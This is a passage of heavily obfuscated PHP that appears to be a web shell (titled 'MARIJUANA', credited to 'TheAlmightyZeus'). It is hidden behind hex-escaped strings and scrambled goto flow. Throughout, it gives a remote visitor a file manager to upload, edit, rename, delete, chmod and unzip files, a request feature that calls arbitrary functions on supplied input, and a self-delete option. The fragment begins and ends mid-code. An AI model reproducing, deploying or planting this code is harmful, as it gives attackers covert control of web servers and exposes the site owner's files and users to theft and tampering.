"\47\x22\40\164\171\160\145\75\42\x73\165\x62\155\x69\164\x22\x20\143\154\x61\x73\x73\x3d\x22\x77\42\x20\166\141\154\165\x65\x3d\x22\46\156\142\163\160\x3b\x45\104\x49\124\46\x6e\x62\x73\x70\73\42\40\x2f\x3e\40" . $c_; } elseif (isset($_GET["\x79"])) { goto BauDe; frbsh: echo "\x3c\x2f\164\145\170\x74\141\162\145\141\76\40" . $c_; goto NAFOY; BauDe: echo $a_ . "\x52\105\x51\125\105\x53\124" . $b_ . "\x20\74\x66\157\x72\x6d\40\x6d\x65\x74\150\157\x64\x3d\42\160\x6f\x73\x74\42\76\40\74\151\x6e\160\x75\164\40\143\154\141\163\163\75\x22\170\x22\x20\x74\x79\x70\x65\75\42\x74\x65\x78\x74\42\x20\x6e\x61\x6d\145\x3d\x22\x31\x22\40\x2f\76\46\156\x62\x73\x70\x3b\x26\x6e\142\x73\x70\73\40\x3c\x69\x6e\x70\165\164\40\143\154\141\163\x73\75\x22\x78\x22\40\164\171\160\x65\x3d\x22\164\x65\x78\164\42\40\156\x61\x6d\x65\75\42\62\42\40\57\76\40" . $d_ . "\x20\74\142\162\40\57\x3e\x20\x3c\x74\x65\x78\164\141\x72\x65\141\x20\162\145\141\144\157\x6e\x6c\171\x3d\42\171\x65\163\42\x3e"; goto bmXfW; bmXfW: if (isset($_POST["\x32"])) { echo $GNJ[15](dre($_POST["\61"], $_POST["\62"])); } goto frbsh; NAFOY: } elseif (isset($_GET["\x65"])) { echo $a_ . uhex($_GET["\145"]) . $b_ . "\40\x3c\146\157\162\155\x20\x6d\x65\x74\150\157\x64\x3d\42\160\x6f\x73\164\x22\76\x20\74\164\x65\x78\164\x61\x72\x65\x61\x20\x6e\x61\x6d\145\x3d\x22\145\42\40\143\154\x61\163\x73\75\42\x6f\42\76" . $GNJ[15]($GNJ[6](uhex($_GET["\x65"]))) . "\74\x2f\164\x65\170\x74\x61\x72\145\x61\x3e\x20\x3c\142\x72\x20\x2f\x3e\40\x3c\x62\x72\x20\x2f\76\x20\74\x73\160\141\x6e\x20\x63\x6c\x61\163\x73\x3d\x22\x77\x22\x3e\102\x41\x53\105\x36\64\x3c\57\163\160\141\x6e\76\40\72\40\74\163\x65\154\x65\143\164\x20\x69\x64\75\x22\142\66\x34\42\40\x6e\x61\x6d\145\x3d\x22\x62\x36\x34\x22\x3e\x20\74\157\160\164\x69\x6f\156\x20\x76\141\154\165\145\75\42\x30\42\76\x4e\117\74\57\x6f\160\x74\x69\157\156\x3e\x20\74\x6f\x70\x74\151\157\156\40\166\x61\x6c\x75\145\75\x22\x31\x22\x3e\131\105\x53\x3c\x2f\157\x70\x74\x69\157\x6e\x3e\40\74\x2f\163\145\x6c\x65\143\164\76\40" . $d_ . "\x20" . $c_ . "\40\74\x73\x63\x72\x69\x70\164\x3e\x20\44\x28\x22\x23\x62\x36\64\42\x29\56\143\x68\141\156\x67\x65\x28\x66\165\156\143\164\151\x6f\156\50\51\40\x7b\40\151\146\x28\44\50\42\x23\142\x36\64\40\x6f\160\164\x69\157\156\72\163\145\154\x65\143\x74\145\x64\x22\51\x2e\166\x61\154\50\x29\40\x3d\75\x20\x30\51\x20\x7b\40\x76\x61\162\x20\x58\x20\75\40\x24\50\x22\x74\145\x78\x74\141\162\145\141\x22\51\x2e\x76\x61\154\x28\51\73\x20\166\x61\x72\x20\x5a\x20\75\40\141\164\x6f\142\x28\130\51\73\40\x24\x28\42\164\x65\x78\x74\141\x72\x65\x61\x22\51\56\166\141\x6c\50\x5a\x29\73\40\x7d\40\145\x6c\x73\x65\x20\x7b\40\166\x61\x72\x20\x4e\x20\75\x20\44\50\x22\164\145\x78\164\141\x72\x65\141\x22\x29\x2e\x76\141\x6c\50\x29\73\x20\166\141\162\x20\111\x20\75\x20\142\x74\x6f\x61\50\x4e\51\73\40\44\50\x22\164\145\170\164\x61\162\x65\141\x22\x29\x2e\166\x61\x6c\x28\111\x29\73\x20\175\40\175\51\x3b\40\74\x2f\163\x63\x72\151\160\164\x3e"; if (isset($_POST["\145"])) { goto kSw2I; TPGCr: $fp = $GNJ[17](uhex($_GET["\145"]), "\167"); goto kILge; vVuyD: $GNJ[19]($fp); goto eVx0a; kSw2I: if ($_POST["\x62\x36\64"] == "\61") { $ex = $GNJ[7]($_POST["\x65"]); } else { $ex = $_POST["\145"]; } goto TPGCr; kILge: if ($GNJ[18]($fp, $ex)) { OK(); } else { ER(); } goto vVuyD; eVx0a: } } elseif (isset($_GET["\x78"])) { rec(uhex($_GET["\x78"])); if ($GNJ[26](uhex($_GET["\x78"]))) { ER(); } else { OK(); } } elseif (isset($_GET["\164"])) { echo $a_ . uhex($_GET["\164"]) . $b_ . "\x20\74\146\x6f\x72\155\x20\x61\x63\164\x69\157\156\75\x22\x22\40\155\x65\164\150\157\144\x3d\42\160\157\163\x74\42\76\x20\x3c\151\156\160\x75\164\40\x6e\x61\x6d\x65\75\42\164\42\40\143\x6c\x61\x73\x73\75\42\x78\x22\x20\164\x79\160\x65\75\42\x74\145\x78\x74\x22\x20\166\141\154\165\x65\x3d\42" . $GNJ[20]("\131\55\155\55\x64\40\x48\72\x69", $GNJ[21](uhex($_GET["\164"]))) . "\42\x3e\x20" . $d_ . "\x20" . $c_; if (!empty($_POST["\164"])) { $p = $GNJ[33]($_POST["\x74"]); if ($p) { if (!$GNJ[25](uhex($_GET["\x74"]), $p, $p)) { ER(); } else { OK(); } } else { ER(); } } } elseif (isset($_GET["\153"])) { echo $a_ . uhex($_GET["\153"]) . $b_ . "\40\x3c\x66\157\x72\155\40\141\x63\164\x69\x6f\156\75\42\x22\40\155\145\164\x68\x6f\x64\x3d\42\x70\157\x73\x74\x22\x3e\40\74\151\156\160\x75\x74\x20\x6e\141\155\145\75\x22\142\42\x20\143\154\141\163\163\75\42\x78\x22\x20\164\x79\160\x65\75\x22\x74\x65\x78\164\x22\40\x76\x61\x6c\x75\145\x3d\42" . $GNJ[22]($GNJ[23]("\x25\x6f", $GNJ[24](uhex($_GET["\x6b"]))), -4) . "\x22\76\40" . $d_ . "\x20" . $c_; if (!empty($_POST["\x62"])) { goto RF5Yg; hD1tg: for ($i = strlen($x) - 1; $i >= 0; --$i) { $t += (int) $x[$i] * pow(8, strlen($x) - $i - 1); } goto fEeAF; ic0MM: $t = 0; goto hD1tg; RF5Yg: $x = $_POST["\x62"]; goto ic0MM; fEeAF: if (!$GNJ[12](uhex($_GET["\x6b"]), $t)) { ER(); } else { OK(); } goto C1cdX; C1cdX: } } elseif (isset($_GET["\x6c"])) { echo $a_ . "\x2b\x44\111\122" . $b_ . "\40\x3c\x66\157\x72\155\x20\141\143\164\151\157\x6e\x3d\42\42\x20\x6d\145\x74\150\157\144\75\42\x70\x6f\x73\x74\x22\76\40\74\151\156\x70\x75\x74\40\x6e\141\x6d\145\x3d\x22\154\42\x20\x63\x6c\141\x73\x73\75\42\x78\x22\40\x74\x79\x70\x65\x3d\x22\164\145\x78\x74\42\x20\166\x61\154\165\145\x3d\42\x22\x3e\x20" . $d_ . "\40" . $c_; if (isset($_POST["\x6c"])) { if (!$GNJ[11]($_POST["\x6c"])) { ER(); } else { OK(); } } } elseif (isset($_GET["\x71"])) { if ($GNJ[10](__FILE__)) { goto Bnpuf; ythk7: header("\x4c\157\x63\141\x74\151\x6f\x6e\x3a\40" . basename($_SERVER["\120\110\120\137\123\x45\x4c\106"]) . ''); goto xgOcL; xgOcL: exit; goto imDrP; Bnpuf: $GNJ[38]($GNJ[9]); goto ythk7; imDrP: } else { echo $g; } } elseif (isset($_GET["\x6e"])) { echo $a_ . "\53\106\x49\x4c\105" . $b_ . "\40\74\146\157\x72\x6d\x20\x61\143\x74\151\157\x6e\x3d\x22\42\40\155\x65\164\150\x6f\x64\x3d\42\x70\157\x73\x74\x22\76\x20\x3c\151\x6e\x70\x75\x74\x20\x6e\x61\155\145\75\42\x6e\42\x20\143\x6c\141\x73\163\x3d\x22\170\x22\x20\x74\x79\160\145\x3d\42\164\x65\x78\x74\x22\40\x76\x61\x6c\165\145\x3d\x22\42\x3e\x20" . $d_ . "\x20" . $c_; if (isset($_POST["\156"])) { if (!$GNJ[25]($_POST["\156"])) { ER(); } else { OK(); } } } elseif (isset($_GET["\x72"])) { echo $a_ . uhex($_GET["\162"]) . $b_ . "\40\74\x66\157\x72\155\40\x61\143\x74\x69\157\156\x3d\x22\x22\x20\x6d\145\164\x68\x6f\144\x3d\x22\160\157\163\164\42\76\x20\74\x69\x6e\x70\165\164\x20\156\x61\x6d\x65\75\x22\x72\x22\40\143\154\141\163\163\75\x22\x78\x22\40\x74\x79\160\145\75\42\164\x65\170\x74\x22\x20\166\x61\x6c\165\145\x3d\42" . uhex($_GET["\x72"]) . "\x22\x3e\x20" . $d_ . "\x20" . $c_; if (isset($_POST["\x72"])) { if ($GNJ[26]($_POST["\162"])) { ER(); } else { if ($GNJ[27](uhex($_GET["\162"]), $_POST["\162"])) { OK(); } else { ER(); } } } } elseif (isset($_GET["\172"])) { goto OLmKt; piV_6: if ($res === TRUE) { goto T1tOF; Ak7wZ: $zip->close(); goto m9MDX; m9MDX: OK(); goto sZG5S; T1tOF: $zip->extractTo(uhex($_GET["\144"])); goto Ak7wZ; sZG5S: } else { ER(); } goto xvL5S; OLmKt: $zip = new ZipArchive(); goto FerRG; FerRG: $res = $zip->open(uhex($_GET["\x7a"])); goto piV_6; xvL5S: } else { goto UfKjy; ZVQ3g: echo $h; goto Jfi_E; HfLpy: echo "\x3c\x2f\x74\142\157\144\x79\76\x20\x3c\x74\x66\x6f\x6f\x74\x3e\40\x3c\x74\162\x3e\x20\74\164\x68\40\143\154\141\x73\x73\75\42\x65\x74\x22\x3e\40\x3c\141\40\x63\154\141\x73\163\75\x22\x61\x6a\x78\42\40\150\162\145\x66\x3d\x22\77\x64\75" . hex($e) . "\x26\x79\42\x3e\x52\x45\x51\125\x45\123\124\x3c\57\x61\x3e\40\x3c\x61\x20\150\162\145\x66\x3d\x22\x3f\144\75" . hex($e) . "\46\161\x22\x3e\105\130\111\124\74\57\141\x3e\x20\74\57\x74\x68\76\40\74\164\150\x20\143\154\141\x73\163\75\42\145\164\42\x20\x77\151\x64\x74\x68\x3d\x22\x31\61\45\x22\76\x3c\57\x74\150\76\x20\74\164\150\x20\x63\154\x61\x73\x73\x3d\x22\145\164\42\40\x77\x69\144\164\150\75\x22\x31\x37\45\42\x3e\74\57\164\150\76\x20\x3c\x74\x68\40\x63\154\x61\x73\163\x3d\x22\145\164\42\40\x77\151\144\x74\150\x3d\42\61\67\x25\x22\x3e\x3c\x2f\164\150\x3e\40\74\x74\150\40\x63\x6c\141\163\x73\75\42\x65\164\x22\40\x77\151\144\x74\x68\75\x22\61\x31\x25\42\x3e\x3c\x2f\x74\150\76\40\74\57\164\x72\x3e\x20\74\57\x74\146\x6f\157\x74\76\x20\x3c\57\164\141\142\154\x65\76"; goto e1y2c; D01qf: $h = ''; goto xE_84; UfKjy: echo "\x3c\164\141\142\154\x65\40\143\145\154\154\x73\x70\141\143\151\x6e\147\x3d\42\60\x22\x20\x63\x65\x6c\154\160\141\x64\144\151\156\x67\x3d\42\67\42\x20\x77\x69\x64\x74\x68\x3d\x22\x31\60\60\x25\42\x3e\40\x3c\x74\150\x65\x61\x64\76\x20\74\x74\162\x3e\40\74\x74\x68\x20\167\151\144\x74\x68\x3d\42\64\x34\45\x22\76\133\x20\x4e\101\115\x45\x20\x5d\74\57\x74\150\x3e\40\x3c\x74\150\x20\167\151\144\x74\150\x3d\42\61\x31\x25\x22\76\x5b\40\123\111\132\x45\x20\135\74\x2f\x74\150\x3e\x20\x3c\x74\150\40\167\x69\x64\x74\x68\75\x22\x31\67\45\42\76\x5b\x20\120\x45\122\115\x20\x5d\x3c\57\164\150\76\40\74\164\150\40\x77\151\x64\164\150\x3d\x22\61\67\45\x22\x3e\133\40\104\101\x54\x45\40\135\74\x2f\164\150\76\x20\x3c\x74\150\40\x77\x69\x64\164\150\x3d\42\61\61\45\42\x3e\133\40\x41\103\124\x20\135\74\57\164\150\76\40\74\57\164\x72\76\40\x3c\57\x74\x68\x65\x61\x64\x3e\40\74\164\142\x6f\144\171\76\40\x3c\164\x72\x3e\x20\74\164\144\x3e\40\x3c\141\x20\143\x6c\x61\x73\163\x3d\x22\x61\x6a\x78\x22\40\150\162\x65\x66\x3d\x22\77\144\x3d" . hex($d) . "\46\156\42\76\x2b\106\x49\x4c\105\74\57\x61\76\40\74\x61\40\x63\154\x61\163\x73\75\x22\141\152\170\42\40\x68\x72\145\x66\75\x22\77\144\75" . hex($d) . "\46\154\x22\76\53\x44\x49\122\x3c\57\x61\x3e\x20\74\57\x74\144\76\40\x3c\57\x74\162\x3e\40"; goto D01qf; xE_84: $j = ''; goto RSgWt; RSgWt: $w = $GNJ[13]($d); goto Dz0hi; Jfi_E: echo $j; goto HfLpy; Dz0hi: if ($GNJ[28]($w) || $GNJ[29]($w)) { foreach ($w as $c) { goto T08aN; mSlQY: if (!$GNJ[30]($c, "\56\172\x69\160")) { $zi = ''; } else { $zi = "\74\141\40\150\x72\x65\x66\75\42\x3f\144\x3d" . hex($e) . "\x26\x7a\x3d" . hex($c) . "\42\76\x55\74\x2f\141\x3e"; } goto mGRjD; S73wg: if ($s >= 1024) { $s = round($s / 1024, 2) . "\40\115\102"; } else { $s = $s . "\40\x4b\102"; } goto kLl3f; mGRjD: if ($GNJ[31]("{$d}\57{$c}")) { $o = ''; } elseif (!$GNJ[32]("{$d}\x2f{$c}")) { $o = "\x20\150"; } else { $o = "\x20\x77"; } goto VKBJP; odnyT: $s = round($s, 3); goto S73wg; T08aN: $e = $GNJ[14]("\134", "\57", $d); goto mSlQY; kLl3f: if ($c != "\56" && $c != "\56\x2e") { $GNJ[8]("{$d}\x2f{$c}") ? $h .= "\74\x74\x72\x20\x63\x6c\141\x73\163\x3d\x22\162\42\76\x20\74\164\x64\76\40\x3c\151\x20\x63\154\x61\163\163\75\42\x66\141\x72\x20\x66\141\x2d\x66\157\154\x64\x65\x72\x20\155\x22\x3e\74\x2f\151\76\x20\74\x61\x20\143\154\x61\163\x73\75\42\141\152\x78\42\x20\150\162\x65\146\75\x22\77\144\75" . hex($e) . hex("\x2f" . $c) . "\x22\76" . $c . "\x3c\57\141\x3e\40\74\x2f\x74\144\76\x20\74\x74\144\40\x63\x6c\141\163\x73\x3d\x22\x78\x22\76\x20\x64\x69\x72\x20\x3c\x2f\x74\x64\x3e\x20\x3c\164\144\x20\x63\154\141\x73\163\75\x22\170\x22\76\40\74\x61\40\x63\154\x61\x73\x73\75\42\141\x6a\170" . $o . "\x22\x20\x68\162\x65\146\x3d\x22\x3f\144\75" . hex($e) . "\46\153\75" . hex($c) . "\42\76" . x("{$d}\x2f{$c}") . "\74\x2f\x61\76\x20\74\57\164\x64\76\x20\74\x74\x64\x20\x63\x6c\x61\163\x73\x3d\x22\170\42\76\x20\74\x61\x20\x63\154\x61\163\163\75\x22\141\x6a\170\x22\x20\x68\162\x65\146\x3d\x22\x3f\x64\x3d" . hex($e) . "\46\164\x3d" . hex($c) . "\x22\x3e" . $GNJ[20]("\x59\x2d\155\55\x64\x20\110\72\x69", $GNJ[21]("{$d}\57{$c}")) . "\74\57\x61\76\40\x3c\57\164\x64\76\40\74\164\x64\x20\x63\x6c\141\x73\x73\x3d\42\170\42\x3e\40\74\x61\40\x63\x6c\x61\x73\x73\75\42\141\152\x78\x22\40\150\x72\145\146\x3d\42\77\x64\x3d" . hex($e) . "\x26\x72\75" . hex($c) . "\42\x3e\122\x3c\x2f\x61\76\40\74\x61\40\150\x72\x65\146\x3d\42\77\144\75" . hex($e) . "\x26\x78\x3d" . hex($c) . "\42\76\x44\x3c\x2f\x61\76\x20\x3c\x2f\x74\144\x3e\40\x3c\57\x74\162\76\40" : ($j .= "\74\164\162\40\x63\154\141\x73\163\75\42\162\x22\76\x20\x3c\164\144\x3e\40\x3c\151\x20\x63\x6c\x61\x73\163\x3d\42\x66\141\162\x20\146\141\x2d\146\x69\154\x65\40\x6d\42\x3e\74\x2f\x69\76\46\164\150\x69\x6e\x73\160\x3b\x20\x3c\141\x20\143\x6c\x61\x73\163\x3d\42\141\x6a\170\42\x20\x68\162\145\x66\x3d\x22\77\144\x3d" . hex($e) . "\x26\163\x3d" . hex($c) . "\x22\x3e" . $c . "\x3c\57\141\x3e\x20\x3c\57\164\x64\x3e\40\74\x74\144\x20\x63\x6c\x61\x73\x73\75\x22\x78\42\x3e\x20" . $s . "\x20\x3c\57\x74\144\76\x20\74\x74\x64\x20\143\x6c\141\163\x73\x3d\x22\170\x22\76\40\74\141\x20\143\154\x61\x73\x73\75\x22\141\x6a\170" . $o . "\x22\x20\x68\162\145\x66\x3d\42\77\144\x3d" . hex($e) . "\46\153\75" . hex($c) . "\x22\x3e" . x("{$d}\x2f{$c}") . "\74\57\x61\x3e\40\x3c\57\164\x64\x3e\x20\x3c\x74\x64\40\143\x6c\x61\x73\163\75\42\x78\42\76\x20\x3c\x61\40\143\154\x61\x73\163\x3d\x22\x61\152\x78\x22\x20\150\x72\x65\146\x3d\42\77\144\75" . hex($e) . "\46\164\x3d" . hex($c) . "\42\x3e" . $GNJ[20]("\131\x2d\155\55\144\x20\x48\x3a\151", $GNJ[21]("{$d}\x2f{$c}")) . "\x3c\x2f\x61\x3e\40\74\57\x74\144\x3e\x20\74\x74\144\x20\143\x6c\141\163\x73\75\42\170\x22\76\x20\74\x61\40\143\154\x61\163\x73\x3d\x22\141\x6a\x78\x22\x20\150\x72\x65\146\x3d\42\x3f\x64\x3d" . hex($e) . "\46\162\75" . hex($c) . "\42\x3e\122\x3c\57\141\x3e\x20\x3c\x61\40\x63\x6c\x61\x73\x73\75\x22\x61\152\x78\x22\40\150\162\145\146\75\42\77\144\x3d" . hex($e) . "\46\x65\75" . hex($c) . "\42\x3e\105\74\57\x61\76\x20\x3c\141\40\150\x72\x65\x66\x3d\x22\77\144\75" . hex($e) . "\x26\147\x3d" . hex($c) . "\42\x3e\x47\x3c\x2f\141\76\40" . $zi . "\40\x3c\x61\x20\x68\x72\x65\146\x3d\x22\77\144\75" . hex($e) . "\46\170\75" . hex($c) . "\42\76\x44\74\x2f\x61\x3e\40\x3c\57\164\144\76\x20\74\x2f\164\162\76\x20"); } goto hQ8fa; VKBJP: $s = $GNJ[34]("{$d}\57{$c}") / 1024; goto odnyT; hQ8fa: } } goto ZVQ3g; e1y2c: } goto rEn5w; DQkWW: echo basename($_SERVER["\x50\x48\x50\137\123\105\x4c\x46"]); goto nnAd1; LGTFh: echo $GNJ[0](); goto eMXaz; rDZYo: ini_set("\x64\x69\163\x70\154\141\x79\137\145\162\162\x6f\162\x73", FALSE); goto sttNB; vuysa: echo "\x20\x3c\142\x72\40\x2f\76\x20\74\151\x20\x63\x6c\141\163\x73\75\x22\x66\x61\162\40\146\x61\x2d\x66\x6f\x6c\144\x65\x72\x22\76\74\57\151\76\40"; goto Sl3ma; L3rjx: echo $GNJ[1](); goto vuysa; rEn5w: echo "\40\74\57\141\x72\164\x69\x63\154\x65\x3e\40\74\x66\157\157\164\145\x72\40\143\154\141\163\163\75\x22\170\x22\x3e\40\46\143\157\160\171\73\x54\150\x65\x41\154\155\x69\147\150\x74\x79\132\x65\x75\163\x20\74\57\146\x6f\157\164\145\x72\x3e\40"; goto ZRg2h; k3DI8: function ER() { goto i2wid; Y4tOS: exit; goto EV7_b; i2wid: global $GNJ, $d; goto Zf7XZ; Zf7XZ: $GNJ[38]($GNJ[9]); goto VdrIU; VdrIU: header("\x4c\157\143\x61\164\151\x6f\x6e\72\x20\77\144\75" . hex($d) . "\46\x30"); goto Y4tOS; EV7_b: } goto jILLV; mydps: foreach ($k as $m => $l) { goto CZ3h1; SRR_U: for ($i = 0; $i <= $m; $i++) { echo hex($k[$i]); if ($i != $m) { echo "\62\x66"; } } goto vQYCW; CZ3h1: if ($l == '' && $m == 0) { echo "\74\x61\40\143\154\x61\163\163\75\x22\141\x6a\x78\x22\x20\x68\x72\145\146\75\42\77\144\75\x32\x66\42\76\x2f\74\x2f\141\76"; } goto cBV8s; vQYCW: echo "\x22\x3e" . $l . "\x3c\x2f\141\x3e\x2f"; goto JZ32R; cBV8s: if ($l == '') { continue; } goto NRaKu; NRaKu: echo "\x3c\x61\40\x63\154\141\163\x73\75\x22\x61\152\170\42\40\150\162\145\146\x3d\42\x3f\144\x3d"; goto SRR_U; JZ32R: } goto yd79p; D6DXU: echo $_SERVER["\x53\105\122\x56\105\122\137\x41\104\x44\x52"]; goto rHIAk; WPZ0c: error_reporting(0); goto rDZYo; atPog: function OK() { goto R0yDs; Dwzn7: $GNJ[38]($GNJ[9]); goto yZdo7; eX_ed: exit; goto uB2sM; yZdo7: header("\114\x6f\143\141\x74\x69\157\x6e\72\x20\x3f\x64\x3d" . hex($d) . "\x26\x31"); goto eX_ed; R0yDs: global $GNJ, $d; goto Dwzn7; uB2sM: } goto k3DI8; giC3Y: function hex($n) { goto RU8Yp; Tfrm6: for ($i = 0; $i < strlen($n); $i++) { $y .= dechex(ord($n[$i])); } goto RRMTw; RRMTw: return $y; goto xWZOc; RU8Yp: $y = ''; goto Tfrm6; xWZOc: } goto Em0Us; aIGcs: echo "\x20\74\41\104\x4f\x43\x54\131\120\x45\40\150\x74\155\154\76\40\74\150\164\155\x6c\40\x64\151\x72\75\42\141\165\164\157\x22\40\154\x61\x6e\x67\x3d\42\145\x6e\55\125\x53\42\76\40\x3c\x68\x65\x61\x64\x3e\40\74\155\x65\x74\x61\x20\143\150\141\162\x73\x65\164\x3d\x22\x55\x54\106\55\x38\42\76\x20\74\155\x65\164\x61\40\156\141\155\145\75\x22\162\157\142\157\x74\163\42\40\143\x6f\x6e\x74\x65\x6e\x74\75\x22\x4e\x4f\111\116\x44\x45\x58\x2c\40\116\x4f\x46\x4f\x4c\x4c\117\x57\42\76\40\74\x74\x69\164\x6c\145\76\x4d\101\122\x49\x4a\125\x41\x4e\x41\74\57\164\151\x74\154\145\x3e\40\74\x6c\151\156\x6b\x20\162\145\x6c\x3d\42\x69\143\x6f\156\42\x20\150\162\x65\x66\75\42\x2f\x2f\60\170\65\141\64\x35\x35\65\x35\x33\x2e\147\151\164\150\x75\x62\x2e\x69\x6f\x2f\x4d\101\122\x49\x4a\x55\x41\x4e\x41\x2f\151\143\157\156\x2e\160\156\147\42\x20\57\x3e\x20\x3c\x6c\151\156\x6b\40\162\145\154\75\x22\163\164\x79\154\145\x73\150\x65\x65\164\x22\40\x68\x72\145\146\x3d\42\57\57\x30\x78\x35\x61\64\65\x35\x35\65\63\x2e\x67\151\164\x68\x75\x62\56\x69\157\x2f\x4d\101\122\x49\x4a\125\101\x4e\101\57\x6d\141\x69\156\x2e\143\x73\163\x22\x20\x74\x79\x70\x65\x3d\x22\x74\x65\170\x74\57\x63\163\x73\42\x3e\40\74\163\x63\162\x69\x70\164\x20\163\x72\x63\75\x22\57\57\x61\x6a\141\170\x2e\x67\x6f\x6f\x67\x6c\x65\141\x70\151\x73\x2e\x63\157\155\57\x61\152\x61\170\x2f\x6c\151\x62\163\57\x6a\x71\165\145\x72\x79\57\x33\x2e\x33\56\61\x2f\x6a\161\165\145\x72\171\x2e\155\x69\156\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\160\x74\76\x20\x3c\x73\143\162\x69\x70\x74\40\163\x72\143\x3d\x22\x2f\57\x63\x64\156\x6a\x73\x2e\x63\x6c\157\x75\x64\146\154\141\162\x65\x2e\143\157\155\57\x61\x6a\x61\170\57\x6c\x69\142\x73\x2f\x6e\x6f\164\x69\x66\171\x2f\x30\x2e\x34\x2e\62\57\156\157\164\151\x66\171\x2e\x6d\151\x6e\56\x6a\163\x22\76\x3c\57\163\x63\162\151\160\164\x3e\x20\74\x2f\x68\145\141\144\76\x20\74\x62\x6f\x64\x79\x3e\x20\74\x68\145\x61\144\x65\162\x3e\x20\74\x64\x69\166\40\x63\x6c\x61\x73\163\x3d\x22\171\x20\x78\42\76\40\x3c\x61\x20\143\x6c\141\x73\x73\75\42\141\x6a\170\42\40\x68\x72\145\146\75\x22"; goto DQkWW; oQleD: $g = $o_[0] . "\x45\x52\x21" . $o_[1]; goto P6P6i; E811H: $k = $GNJ[4]("\57\x28\134\x5c\x7c\x5c\57\x29\57", $d); goto mydps; YP3Pa: $a_ = "\74\164\141\x62\154\x65\x20\143\x65\154\154\163\x70\141\143\x69\156\147\75\42\x30\42\x20\x63\x65\x6c\154\x70\141\144\x64\x69\x6e\147\x3d\x22\67\42\40\167\151\x64\x74\150\75\42\61\60\60\x25\42\x3e\x20\74\164\x68\x65\141\144\x3e\40\74\164\x72\x3e\x20\x3c\164\x68\x3e"; goto aFqD5; Gnqhb: header("\x58\x2d\130\x53\123\55\x50\162\157\x74\x65\x63\x74\x69\157\156\72\x20\60"); goto AZEO5; rHIAk: echo "\40\74\151\x20\x63\x6c\141\x73\163\x3d\42\146\x61\x73\x20\146\x61\x2d\x6c\151\156\x6b\x22\x3e\74\x2f\x69\x3e\40\x3c\142\162\40\57\x3e\x20\x3c\142\x72\x20\57\x3e\x20\74\x66\157\162\x6d\40\x6d\145\x74\150\x6f\144\x3d\x22\160\157\x73\x74\x22\x20\x65\x6e\143\164\x79\x70\145\75\x22\x6d\165\154\164\x69\160\141\162\164\x2f\146\157\x72\x6d\x2d\144\x61\164\141\x22\76\x20\x3c\x6c\141\x62\145\154\40\x63\154\141\x73\163\75\42\x6c\x20\167\x22\76\40\74\x69\x6e\160\x75\164\40\x74\x79\160\x65\75\x22\x66\x69\x6c\145\x22\40\156\x61\x6d\145\x3d\42\156\133\x5d\x22\40\157\x6e\x63\150\x61\156\147\145\75\42\164\150\151\163\56\x66\157\x72\x6d\56\x73\165\x62\155\151\164\x28\x29\42\x20\155\x75\154\164\x69\x70\x6c\145\x3e\40\x26\156\142\x73\160\x3b\x55\120\x4c\117\101\104\x20\74\x2f\x6c\141\142\x65\154\x3e\x26\156\142\x73\160\73\40\x3c\x2f\x66\157\x72\x6d\76\40"; goto ITHsV; Lx6vj: set_time_limit(0); goto WPZ0c; hlFSe: function dre($y1, $y2) { goto vM8G6; HN8q_: ob_start(); goto DUWVc; vM8G6: global $GNJ; goto HN8q_; DUWVc: $GNJ[16]($y1($y2)); goto lSVBF; lSVBF: return $GNJ[36](); goto uc0xH; uc0xH: } goto giC3Y; yd79p: echo "\40\x3c\142\162\40\57\x3e\x20\74\x2f\x64\151\x76\x3e\40\74\144\x69\166\40\143\154\141\163\163\75\42\x75\42\76\x20"; goto D6DXU; ITHsV: $o_ = ["\74\163\143\x72\151\160\164\76\x24\x2e\x6e\157\164\151\146\x79\50\42", "\x22\54\x20\x7b\40\x63\x6c\141\x73\163\x4e\141\x6d\145\x3a\42\x31\x22\54\x61\165\x74\157\x48\151\144\145\104\145\154\141\x79\x3a\40\x32\60\x30\x30\54\160\x6f\163\151\164\151\157\156\x3a\x22\154\145\x66\164\40\142\x6f\164\164\x6f\155\42\x20\x7d\x29\x3b\x3c\57\163\x63\162\151\x70\164\76"]; goto wnZGJ; sttNB: $Array = ["\67\x30\x36\x38\67\60\x35\x66\67\65\x36\x65\66\x31\x36\144\x36\x35", "\67\x30\x36\x38\67\x30\67\66\66\x35\67\x32\x37\x33\66\71\66\146\x36\x65", "\x36\63\x36\70\66\64\x36\x39\x37\x32", "\66\67\66\x35\67\64\66\63\67\67\66\64", "\67\x30\x37\62\66\x35\x36\67\x35\146\x37\63\x37\x30\x36\143\66\x39\x37\64", "\x36\63\x36\146\x37\60\67\71", "\x36\x36\66\x39\66\143\x36\x35\65\x66\x36\67\66\65\67\x34\65\146\x36\x33\x36\x66\x36\x65\x37\64\x36\x35\x36\145\67\x34\67\x33", "\x36\62\x36\61\x37\x33\x36\x35\x33\66\x33\64\x35\146\66\x34\66\x35\66\x33\66\x66\66\64\x36\65", "\66\71\67\x33\65\x66\66\x34\66\x39\x37\62", "\x36\x66\x36\x32\65\x66\x36\x35\x36\145\x36\x34\x35\146\66\63\x36\x63\x36\x35\66\x31\x36\x65\x32\70\x32\71\x33\142", "\67\x35\x36\145\66\143\66\71\66\145\66\x62", "\66\144\x36\x62\x36\64\66\71\67\x32", "\x36\x33\66\x38\x36\144\x36\x66\66\x34", "\x37\63\66\x33\66\61\x36\x65\66\x34\66\71\67\62", "\x37\63\67\64\67\62\65\x66\x37\x32\x36\65\x37\x30\x36\x63\x36\x31\66\63\x36\x35", "\66\70\x37\64\66\x64\66\x63\67\63\67\60\x36\65\x36\x33\66\71\x36\61\x36\x63\x36\x33\66\x38\x36\61\x37\x32\x37\63", "\x37\66\x36\x31\x37\62\x35\x66\x36\x34\x37\65\x36\144\67\x30", "\x36\66\66\x66\x37\x30\66\65\x36\x65", "\66\66\x37\67\x37\x32\66\x39\x37\x34\x36\65", "\66\66\66\x33\66\143\x36\146\67\63\x36\65", "\66\64\x36\61\67\x34\x36\65", "\x36\66\66\x39\x36\143\x36\x35\x36\144\67\x34\66\71\66\x64\66\65", "\x37\x33\x37\x35\x36\62\x37\x33\67\x34\67\x32", "\x37\x33\x37\x30\x37\62\66\x39\x36\x65\67\64\x36\x36", "\66\x36\66\x39\x36\x63\x36\x35\x37\x30\66\65\x37\62\x36\144\x37\63", "\67\x34\66\x66\x37\x35\x36\63\66\x38", "\66\x36\x36\x39\x36\x63\66\x35\x35\x66\x36\x35\x37\x38\66\x39\67\63\x37\x34\x37\63", "\67\x32\66\65\66\x65\66\61\x36\x64\66\x35", "\66\71\x37\x33\x35\x66\66\61\67\62\67\x32\x36\61\x37\x39", "\66\71\x37\x33\x35\146\x36\146\66\x32\66\x61\66\65\x36\63\67\x34", 